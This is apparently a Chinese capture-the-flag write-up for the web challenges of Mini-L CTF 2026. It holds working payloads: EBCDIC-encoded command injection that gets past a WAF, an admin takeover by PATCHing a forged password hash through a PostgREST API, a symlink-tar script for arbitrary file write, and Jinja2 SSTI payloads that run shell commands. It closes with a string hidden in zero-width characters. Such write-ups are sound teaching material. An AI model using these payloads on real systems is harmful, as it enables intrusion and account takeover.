Mini-L CTF 2026 WriteUp

文章发布时间:

最后更新时间:

miniL CTF 2026 WriteUp // By PatriciaOfEnd

Web

EzPing // solved

审查 js ,注意到提示:

1
2
3
4
5
6
7
8
// 默认的 fetch 请求会发送标准的 UTF-8 JSON,这会被服务端的裸字节 WAF 拦截恶意 payload
const response = await fetch('/api/ping', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ target: target })
});

猜测后台 WAF 拦截恶意 Payload 的原理是 ASCII 码匹配。

注意到在 EBCDIC 编码中,我们需要用到的 ; 的编码和其它常见的(gbk,big5,utf-16等)不同。

用 cp500 编码 ;cat /flag 即可。

1
2
3
4
5
6
7
import urllib.request

url='http://127.0.0.1:62876/api/ping'
payload='{"target":"127.0.0.1;cat /flag"}'.encode('cp500')
req=urllib.request.Request(url,data=payload,headers={'Content-Type':'application/json; charset=cp500'})
print(urllib.request.urlopen(req).read().decode())

HDphp // stuck

PHP LFI 题目。

1
2
3
4
5
6
7
<?php
if (isset($_GET['f']) && !preg_match('/flag|file|php|data|zip|phar|(proc|dev|bin|usr|var).{15,}/i', $_GET['f'])) {
usleep(200000);
include $_GET['f'];
} else {
highlight_file(__FILE__);
}

对用户输入进行了严格的过滤。

注意到唯一和用户输入挂钩的函数就是 include $_GET['f'] 。查阅 PHP 的用户手册 https://www.php.net/manual/zh/function.include.php

考虑到靶机应该不出网,尝试在靶机上构建一个 PHP 马并且通过 include 进行文件包含。

在互联网上查阅有关 include 文件包含的题目,发现一篇疑似有利用价值的 WriteUp :

https://www.cnblogs.com/sen-y/p/15579072.html

考虑是条件竞争漏洞。

1
2
3
4
5
6
7
8
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见

但尝试对靶机发送 POST 请求包返回 405 Method Not Allowed ,怀疑不是这个利用方法。

https://www.smal1.black/PHP%20LFI%E2%89%88RCE%EF%BC%9F%EF%BC%81.html#Nginx-%E4%BA%A7%E7%94%9F%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6

做了半拉。

博丽神社的御神签 // solved

扫 fingerprint 注意到 Werkzeug/3.1.8 Python/3.11.14 。后台尝试用 admin 爆破弱口令没结果。

抽个签抓个包读到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /rest/v1/omikuji_entries?select=fortune_number%2Ccharacter_name%2Cfortune_type%2Csubtitle%2Cability%2Cpoem_lines%2Cnote_blocks&fortune_number=eq.41 HTTP/1.1
Host: ip:port
sec-ch-ua-platform: "Windows"
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiJ9.ViljdzyyGxp5hJt9XN8WTlLTvo0F92XEqovEeSE1zRo
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
x-client-info: supabase-js-web/2.105.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
accept: application/vnd.pgrst.object+json
accept-profile: public
apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYW5vbiJ9.ViljdzyyGxp5hJt9XN8WTlLTvo0F92XEqovEeSE1zRo
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://ip:port/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

换一下 eq.41 后面的数字,看前端返回报错信息,确定是 PostgreSQL

读网页源码确定 Supabase 提供 API 服务。形式为 RestAPI

查了一下 RestAPISupabase 的官方文档。

访问 GET /rest/v1/ HTTP/1.1 看到有一个 admins 表。

GET /rest/v1/admins?select=* HTTP/1.1 返回

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.14
Date: Sun, 03 May 2026 06:50:15 GMT
Date: Sun, 03 May 2026 06:50:15 GMT
Server: postgrest/12.2.0
Content-Range: 0-0/*
Content-Location: /admins?select=%2A
Content-Type: application/json; charset=utf-8
Content-Length: 126
Connection: close

[{"id":1,"username":"reimu","password_hash":"$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw"}]

注意到了管理员账户和密码的 Hash 。

注意到文档 https://postgrest.postgresql.ac.cn/en/v12/references/api/options.html 中有提到 OPTIONS 方法。利用之,

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\Patricia Of End> curl.exe "http://ip:port/rest/v1/admins" -X OPTIONS -i
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.14
Date: Sun, 03 May 2026 06:44:59 GMT
Date: Sun, 03 May 2026 06:44:59 GMT
Server: postgrest/12.2.0
Access-Control-Allow-Origin: *
Allow: OPTIONS,GET,HEAD,POST,PUT,PATCH,DELETE
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

发现支持 PATCH 方法。考虑直接扔一个弱口令的 Hash 上去,然后用其登录之。

提问 llm 可知这种形式的 Hash :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
› 形如 $pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw 的 Hash 可能如何得来?是否加盐了?


• 这是一个典型的 PBKDF2-SHA256 口令哈希串,格式大致是:

$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw

可以拆成几部分:

- pbkdf2-sha256:使用的算法是 PBKDF2-HMAC-SHA256
- 240000:迭代次数是 240000
- shrineledger:这是盐值
- 9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw:最终派生出的哈希结果,通常是某种 base64 变体编码

是否加盐了

- 是,加盐了。
- 这里的盐就是 shrineledger。

用同一个 salt 生成了一个 123456 的 Hash 。还是交给 llm 。

1
2
3
4
5
6
7
8
• 用本机现成的 passlib 算出来了,结果是:

- 123456 → $pbkdf2-sha256$240000$c2hyaW5lbGVkZ2Vy$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY

补充两点:

- 你给的原串是:$pbkdf2-sha256$240000$shrineledger$9k0t4oUmLbF5258OCkSCgLHCFswMNWUPeXt4NRv-5hw
- passlib 生成时会把盐按其格式编码,所以第三段显示成了 c2hyaW5lbGVkZ2Vy,它其实就是 shrineledger 的 Base64 表示。

但这个直接 PATCH 上去还是有问题。我们试着把 c2hyaW5lbGVkZ2Vy Base64 decode 一下发现可以了,服务器端存的 salt 应该是明文。

$pbkdf2-sha256$240000$shrineledger$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY

我们 PATCH 上去:

1
2
3
4
5
6
7
8
PATCH /rest/v1/admins?username=eq.reimu HTTP/1.1
Host: ip:port
Content-Type: application/json
Prefer: return=representation
Connection: close
Content-Length: 102

{"password_hash":"$pbkdf2-sha256$240000$shrineledger$XiJNqiWA1LWpmzEd8zwPFyy6ytEClHys4xykKhqrobY"}

即可用 reimu:123456 登入后台。博丽灵梦太坏了怎么用弱口令

登入后台这里 @CopperKoi 采用了伪造 Flask session 的方法,我草真是🐉👃啊到底谁是非预期呢

注意到上传时接受文件类型为 .tar 等,传了一坨垃圾上去发现会直接解(压)到 /app/static 下。

推测可以传 symlink 达到任意读/写。

Codex 编写 exploit 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import argparse
import tarfile


def make_symlink_tar(output_path: str, link_name: str, target: str) -> None:
with tarfile.open(output_path, "w") as tar:
info = tarfile.TarInfo(link_name)
info.type = tarfile.SYMTYPE
info.linkname = target
info.mode = 0o777
tar.addfile(info)


def main() -> None:
parser = argparse.ArgumentParser(description="Create a tar containing a symlink entry.")
parser.add_argument("-o", "--output", default="rootfs.tar", help="output tar file")
parser.add_argument("-n", "--name", default="rootfs", help="symlink name inside tar")
parser.add_argument("-t", "--target", default="/", help="symlink target")
args = parser.parse_args()

make_symlink_tar(args.output, args.name, args.target)
print(f"[+] wrote {args.output}")
print(f"[+] symlink: {args.name} -> {args.target}")


if __name__ == "__main__":
main()

打包 .tar 传上去之后有 /app/static/rootfs -> / 的符号链接。即有任意读写。

读了一下 /tmp 下可能存在的常见 flag 名读不到,考虑是随机的 flag 名,需要进一步利用(RCE)。

考虑覆盖模板进行 Flask Jinja2 SSTI 即可。此部分交给 Codex ,不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
- 第一阶段上传:只创建 symlink
- 上传一个 tar,里面只有:
- templates -> /app/templates
- 这个 symlink 会被解到 /app/static/templates
- 第二阶段上传:写恶意模板
- 再上传第二个 tar,里面是普通文件:
- templates/index.html
- 因为第一次已经让 /app/static/templates 变成了指向 /app/templates 的 symlink
- 第二次 tar -xf ... -C /app/static 在解析 templates/index.html 时,会跟随这个已存在的 symlink
- 实际写入位置就变成:
- /app/templates/index.html
- 触发 SSTI
- 首页路由 / 会 render_template("index.html")
- 所以访问 http://ip:port/ 时,就会执行我写进去的 Jinja 模板

我实际写进去的 SSTI payload

- 第一次用来列 /tmp:

<pre>{{ cycler.__init__.__globals__.os.popen('find /tmp -type f 2>/dev/null | sort').read() }}</pre>

- 第二次改成直接读 flag:

<pre>{{ cycler.__init__.__globals__.os.popen('cat /tmp/therealflag_741eba084e81852981943c4d081c9287 2>/dev/
null').read() }}</pre>

?!附加挑战!?

1
2
3
class Misc extends PatriciaOfEnd {
public $challenge = '‍‍‌‍‬‍‬‍‍‌‌‬‬‍‍‬‌‬‌‬‍‬‌‬‌‬‍‍‍‍‍‍‍‌‌‬‍‌‌‌‌‌‌‬‬‌‍‬‍‍‬‬‌‬‌‍‍‬‬‍‍‌‬‌‍‍‍‬‍‌‬‌‬‍‍‬‬‬‌‬‬‬‍‬‬‍‬‬‍‍‌‍‬‬‍‌‬‌‍‍‬‍‌‬‬‌‍‬‍‌‬‌‌‌‌‍‌‍‌‍‍‌‬‍‌‬‍‍‌‬‍‌‍‬‍‬‍‬‌‬‍‬‍‬‌‍‬‍‍‬‌‌‬‍‍‍‬‍‍‬‬‌‍‌‌‌‌‌‌‬‌‌‌‌‌‌‍‍‬‬‌‌‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‬‌‌‌‌‍‍‌‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‌‬‌‌‍‍‍‌‌‌‌‍‍‬‍‬‍‬‌‌‌‍‬‬‍‬‍‌‍‌‬‬‬‬‍‍‌‬‬‌‌‌‍‌‍‬‍‬‌‬‍‍‌‍‍‬‬‌‍‬‬‌‌‌‬‌‍‌‬‌‬‌‌‌‍‍‍‌‬‬‌‍‬‍‍‌‬‬‍‬‌‬‍‬‌‍‌‬‍‌‬‍‍‍‌‌‌‬‍‍‌‍‬‌‌‍‍‌‬‌‌‍‬‬‍‍‌‬‍‍‍‌‌‌‍‬‍‌‌‌‍‬‍‌‌‌‍‬‬‍‬‌‬‍‌‬‌‌‬‍‌‬‌‌‌‌‬‌‬‌‍‌‌‌‬‌‌‌‌‌‌‍‌‬‌‍‍‌‍‍‌‍‌‌‍Obviously‍‍‌‍‬‌‌‍‍‌‬‌‌‍‬‬‍‍‌‬‍‍‌‬‌‌‌‌‬‍‌‌‍‍‌‬‍‬‌‬‍‬‌‍‍‬‍‍‌‍‍‍‬‬‍‬‍‍‬‌‌‍‬‬‍‍‌‌‌‌‌‌‌‬‍‬‌‌‌‬‍‌‌‍‍‌‬‌‌‍‍‍‍‌‬‬‌‍‬‌‌‌‍‬‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‍‌‌‌‌‍‍‌‌ ‌‌‌‌‍‍‍‌‌‌‌‌‌‬‌‌‌‌‌‌‌‍‍‌‌‌‌‌‬‬‌‌‌‌‌‍‍‌‌‌‌‌‬‌‌‌‌‌‌‍‬‌‌‌‌‌‍‬‬‌‌‌‌‌‍‬‬‍‌‌‌‌‍‬‍‌‌‌‌‍‬‬‌‌‌‌‌‌‬‌‌‬‍‍‬‌‍‬‍‬‬‍‌‍‌‬‬‌‍‬‌‌‌‌‌‌‬‌‌‌‌‌‌‬‬‍‬‌‬‌‍‌‍‬‌‍‬‍‍‍‌‍‌‍‬‍‍‍‌‬‬‌‍‬‌‬‬‌‌‌‍‬‍‌‬‍‌‬‌‌‬‬‍‌‬‌‌‌‌‍‍‬‍‍‍‍‌‍‌‬‬‬‌‬‍‬‌‌‌‌‍‍‬‍‌‍‬‍‍‍‬‍‌‬‍‍‍‌‌‍‬‬‬‍‬‬‍‬‌‍‍‌‬‬‍‍‬‬‬‍‬‍‍‌‬‌‬‬‍‍‍‍‌‬‬‌‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‍‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‬‌‬‍‬‌‍‍‌‍‬‌‬‍‍‍‬‬‬‍‬‌‬‍‬‌‌‌‌‍‌‍‌‍‬‍‬‍‬‌‬‍‍‍‌‬‬‌‬‌‍‬‍‍‬‬‌‌‍‍‌‬‌‌‌‌‍‍‍‌‬‬‍‍‌‍‍‍‍‬‍‌‌‬‍‍‌‬‍‬‍‍‬‬‬‌‬‬‍‬‌‍‌‌‍‌‬‍‌‬‍‍‍‬‬‌‍‌‍‬‬‍‍‌‬‌‍‍‍‬‬‍‌‍‌‌‬‍‍‍‬‌‬‌‌‌‍‍‍‌‍‬‬‬‌‌‍‌‍‍‌‬‍‌‬‬‍‍‬‌‬‍‌‍‬‍‬‌‬‌‌‌‌‌‬‌‌‌‌‌‌‍‍‬‌‌‌‌‌‍‌‍‌‌‌‌‌‍‍‌‌‌‌‌‍‌‍‍‌‌‌‌‍‌‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‬‌‌‌‌‌‌‌‌‌‌‌‌‌‬‌‌‌‌‌‍‍‌‌‌‌‌‬‌‌‍‍‬‬‌‍‌‍‬‌‬‌‍‌‌‍‍‍‌‍‍‬‌‍‌‬‬‌‍‬‍‌‬‍‍‌‬‬‌‍‬‍‍‬‍‌‬‍‍‍‌‍‌‬‬‍‍‬‍‍‌‍‍‬‬‌‍‌‍‬‬‍‍‌‬‌‍‍‍‬‍‌‬‌‬‍‌‌‌‍‬‍‍‌‬‬‌‬‍‍‍‍‌‍‬‌‌‍‍‬‬‌‍‌‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‍‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‍‬‍‬‌‬‍‌‍‍‍‍‍‬‌‍‌‌‍‍‍‌‍‌‍‍‍‌‍‬‌‬‌‍‍‌‬‌‬‬‍‌‬‌‌‌‍‌‬‍‌‬‌‍‌‬‌‌‍‍‍‌‬‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‬‌‌‌‌‍‌‌‌‌‌‌‍‌‌‌‌‌‍‌‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‍‍‌‌‌‌‌‍‌‍‬‌‌‌‌‌‬‌‌‬‌‍‬‍‍‬‬‌‌‍‍‬‍‬‍‌‍‍‬‍‬‍‍‬‌‍‍‌‍‍‬‬‌‍‌‍‍‬‍‌‍‍‌‌‌‍‌‬‌‌‌‌‍‍‌‍‍‍‍‬‌‬‬‬‬‍‬‌‬‍‌‬‌‍‬‌‬‍‌‍‍‬‍‍‍‌‬‬‌‍‬‍‍‌‌‌‍‍‬‍‬‌‬‍‌‬‌‌‌‌‍‬‍‍‬‌‍‍‬‬‬‍‬‬‍‬‌‍‍‬‬‌‍‌‍‍‬‍‌‬‍‍‍‌‌‬‬‌‌‌‍‍‌‬‬‬‬‌‌‌‍‍‍‍‌‬‬‌‬‌‌‍‬‬‬‍‍‬‬‍‬‍‬‍‍‬‌‌‍‬‌‬‍‌‬‍‬‍‍‍‌‍‍‬‍‌‌‍‬‍‬‍‌‌‍‬‍‬‬‬‍‍‬‍‌‍‌‌‍‬‬‬‌‬‬‬‬‌‍‬‍‍‬‬‌‌‍‌‌‌‌‌‌‬‍‬‌‍‍‌‬‍‍‬‍‍‍‍‍‍‬‍‌‌‌‌‌‌‬‌‌‌‌‌‌‬‬‬‌‬‍‌‍‍‍‬‍‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‌‌‌‌‌‌‍‌‍‌‌‌‌‌‬‌‌‍‍‬‬‍‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‍‍‌‌‌‌‌‍‌‍‬‌‌‌‌‌‬‌‌‬‌‬‌‍‌‌‍‌‬‌‍‬‬‌‬‌‌‌‍‍‌‌‬‌‌‌‍‍‌‍‌‬‍‌‌‬‌‌‍‌‍‌‬‬‌‬‍‬‌‬‌‍‌‍‬‌‬‬‬‍‌‍‌‬‌‬‬‍‍‬‬‍‍‬‍‍‍‍‌‍‌‬‌‬‬‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‬‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‌‬‌‌‌‌‍‍‌‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‬‌‬‌‍‌‌‍‌‬‌‍‬‬‍‍‬‬‌‍‌‬‍‍‬‍‌‍‍‬‍‌‍‬‌‬‍‍‌‍‍‌‍‬‌‬‌‌‌‍‍‌‌‬‌‌‌‍‍‌‬‌‌‌‌‌‍‍‌‬‌‌‍‍‬‌‌‌‍‬‌‌‌‬‍‍‍‍‬‍‌‍‌‍‍‬‍‍‬‌‌‍‌‬‌‍‍‬‍‬‍‬‍‌‬‌‬‬‬‍‍‌‬‍‍‬‍‍‍‬‍‌‬‌‍‌‍‌‬‌‍‬‬‌‌‌‍‍‬‍‬‍‬‍‌‬‌‌‌‌‍‍‬‍‍‌‬‍‬‬‍‬‌‍‬‍‌‬‍‍‬‍‍‍‌‌‍‍‬‍‬‍‬‍‬‬‍‬‌‌‌‬‍‍‌‬‬‌‍‬‍‍‍‌‌‍‬‍‬‬‍‬‍‍‍‬‌‍‬‍‍‍‌‌‍‍‬‍‬‍‬‍‍‬‍‌‬‍‍‍‬‍‬‍‬‍‌‬‍‬‬‍‍‍‌‌‌‍‬‍‌‍‌‍‬‍‍‍‌‌‌‬‬‌‬‌‬‬‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‍‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‍‍‌‍‍‌‬‍‬‍‌‌‌‍‍‍‌‍‍‬‍‌‬‬‌‍‍‌‬‬‬‌‍‬‬‌‬‬‍‍‌‌‬‍‌‬‍‌‬‌‬‍‍‍‍‌‍‬‌‬‌‌‌‌‌‌‬‍‬‌‬‌‍‌‍‍‬‌‬‍‬‌‬‬‬‍‌‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‍‌‌‌‌‍‬‬‌‌‌‌‍‍‌‌‌‌‌‍‬‬‌‌‌‌‌‍‌‬‌‌‌‌‍‬‌‌‌‌‍‌‌‌‌‌‌‍‬‬‍‌‌‌‌‍‬‌‌‌‌‌‌‬‌‌‍‍‌‍‌‍‍‍‬‌‌‌‬‍‌‌‬‬‌‍‌‬‌‬‬‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‬‌‌‌‌‌‍‬‌‍‌‌‌‌‍‍‍‌‌‌‌‍‬‍‌‌‌‌‌‍‬‍‍‌‌‌‌‌‬‌‌‌‌‌‌‍‌‍‌‌‌‌‍‬‍‌‌‌‌‍‍‌‌‌‌‌‍‬‬‌‌‌‌‌‍‬‌‌‌‌‍‌‌‌‌‌‌‬‌‌‍‍‬‬‌‍‌‍‬‍‍‍‬‍‍‌‌‌‍‬‍‌‌‌‌‌‌‌‍‌‌‌‌‌‍‌‌‌‌‌‌‍‬‍‍Nothing‌‌‌‌‍‬‬‌‌‌‌‍‌‌‍‌‌‌‌‍‌‬‍‌‌‌‌‌‬‌‌‍‍‌‍‌‍‍‍‬‌‌‌‬‍‌‌‬‬‌‍‌‬‌‬‬‬‌‌‌‌‌‬‌‌‌‌‌‌‍‌‍‌‌‌‌‍‍‌‌‌‌‌‌‍‍‍‌‌‌‌‌‌‬‌‌‌‌‌‌‌‍‍‌‌‌‌‌‬‬‌‌‌‌‌‍‍‌‌‌‌‌‬‌‌‌‌‌‌‍‌‌‌‌‌‌‍‬‍‌‌‌‌‍‬‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‌‬‌‌‌‌‌‬‌‌‍‍‬‬‌‍‌‍‬‍‍‍‬‍‍‌‌‌‍‬‍‍‬‌‬‌‍‌‍‍‍‌‍ ‍‍‬‬‌‍‌‍‬‌‌‌‬‍‍‍‌‬‬‌‍‬Here‌‌‌‍‬‌‍‬‬‍‍‌‬‌‌‍‍‍‬‬‌‍‌‬‌‬‍‌‍‬‌‬‌‍‌‍‍‌‬‌‬‍‌‬‌‌‬‬‬‌‌‍‍‍‬‍‌‬‍‍‍‬‍‬‍‬‍‌‬‍‌‬‍‍‍‌‌‌‬‍‍‌‌‌‍‍‬‌‬‬‌‍‍‬‍‌‌‬‍‍‌‬‌‌‌‌‍‍‌‬‌‬‍‌‬‌‌‍‍‬‌‌‌‬‍‍‍‍‌‌‍‍‬‬‌‍‌‌‌‌‌‌‌‬‍‬‌‬‌‍‌‍‍‍‌‌‌‍‍‍‬‍‍‍‍‍‌‌‌‍‌‬‌‌‌‌‍‬‍‍‬‌‍‍‍‍‌‬‬‌‍‌‬‌‬‌‬‍‬‬‍‬‌‍‍‌‍‌‍‍‍‬‬‌‍‌‍‍‌‌‬‬‌‌‌‍‌‬‌‌‬‬‍‌‬‌‌‍‍‍‌‬‬‌‌‌‍‌‬‌‌‬‍‌‬‌‌‍‍‬‍‍‬‍‍‌‌‌‍‌‬‌‌‬‬‬‍‍‍‬‌‬‍‬‍‬‌‬‬‍‬‍‬‍‌‌‌‍‌‬‌‌‬‬‍‍‍‬‌‬‍‍‌‍‍‬‬‌‍‬‍‬‌‬‍‌‬‌‌‌‌‍‍‍‬‍‬‍‍‬‬‬‌‌‬‌‌‍‍‍‌‌‌‍‍‬‌‬‍‍‌‍‌‬‌‌‬‍‬‌‬‍‍‌‬‍‬‍‌‌‬‍‌‬‌‬‬‌‌‌‌‌‍‍‍‍‬‬‌‍‌‍‬‍‍‍‬‍‌‬‬‬‬‌‌‌‌‌‌‬‍‬‌‬‌‍‌‍‍‍‌‌‌‍‬‌‍‬‍‍‬‬‌‌‍‍‍‌‍‬‌‍‍‍‍‌‬‬‌‍‌‬‌‬‍‬‍‍‍‍‌‌‌‌‍‍‌‌‬‍‌‬‌‌‍‍‍‌‬‌‌‌‍‌‬‌‌‌‌‍‌‌‬‬‍‍‌‌‬‬‍‍‬‍‌‬‬‬‍‬‍‍‬‍‍‌‌‌‌‌‌‬‌‌‌‌‌‌‬‬‌‌‌‌‌‌‬‬‌‬‌‌‌‍‌‍‍‬‍‌‬‍‍‬‬‌‬‬‍‬‍‌‬‌‌‌‌‍‍‍‌‬‬‍‍‬‬‌‍‌‬‌‍‌‍‬‌‍‌‬‬‌‌‍‍‌‍‌‌‍‍‌‍‍‌‬‌‍‍‍‌‍‌‌‌‍‬‌‬‬‬‌‍‍‌‌‌‌‍‬‬‬‍‍‍‬‌‬‌‍‌‌‌‍‌‬‌‬‬‌‍‍‍‍‬‍‌‍‬‬‌‍‌‬‍‍‍‍‍‌‌‌‌‌‌‌‬‍‍‌‌‍‍‬‬‍‍‍‍‬‍‬‌‬‌‌‍‍‌‍‬‬‍‌‬‌‌‌‌‬‍‍‬‌‍‍‍‬‍‍‍‌‍‌‌‍‌‌‌‍‍‌‬‍‌‍‍‍‍‌‬‍‬‍‍‬‌‌‬‍‌‌‌‍‬‬‬‌‍‬‌‌‌‍‍‍‌‌‌‬‍‌‬‌‌‍‬‌‬‍‌‌‍‍‍‍‍‌‬‬‍‌‌‌‍‍‌‌‌‌‌‌‌‬‌‬‌‌‌‍‍';
}